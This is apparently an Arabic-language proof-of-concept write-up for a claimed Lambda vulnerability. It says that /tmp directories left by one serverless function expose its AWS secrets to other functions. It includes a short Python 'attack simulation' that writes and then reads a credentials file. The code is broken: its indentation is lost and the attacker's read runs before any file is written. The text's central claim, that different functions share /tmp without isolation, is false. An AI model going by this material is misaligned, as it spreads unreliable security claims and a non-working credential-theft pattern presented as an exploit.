
استغلال برهان مفهوم لثغرة CVE-2026-21002 المتعلقة بتسريب بيانات الاعتماد عند بدء التشغيل البارد في بيئات serverless، مع توضيح كيف تؤدي إعادة استخدام أدلة /tmp الخاصة بـ Lambda إلى كشف أسرار AWS لوظائف أخرى.
# lambda_func_sim.py - Simulated serverless function
import os, tempfile, time
SECRET_FILE = '/tmp/credentials' # reused across warm starts
def handler(event):
# On first invocation, write a secret
if not os.path.exists(SECRET_FILE):
with open(SECRET_FILE, 'w') as f:
f.write("AWS_SECRET_ACCESS_KEY=sk-123456")
return "Initialized"
# Later invocations can read it
with open(SECRET_FILE) as f:
return f.read()
# Attack simulation: attacker shares the same /tmp in another function (same VM)
# They can read /tmp/credentials after a cold start.
with open(SECRET_FILE) as f:
print("Attacker reads:", f.read())
تعيد منصات Serverless استخدام بيئة التنفيذ (بما في ذلك /tmp) عبر استدعاءات الدوال وحتى بين دوال مختلفة من نفس الحساب. يمكن لدالة المهاجم قراءة الملفات الحساسة التي تتركها دالة أخرى في /tmp بعد بدء تشغيل بارد، مما يؤدي إلى سرقة بيانات الاعتماد.
/tmp مُشارك بين الحاويات الدافئة دون عزل بين الدوال.شغّل المحاكاة:
python lambda_func_sim.py
يقرأ المهاجم AWS_SECRET_ACCESS_KEY الذي تركته دالة الضحية.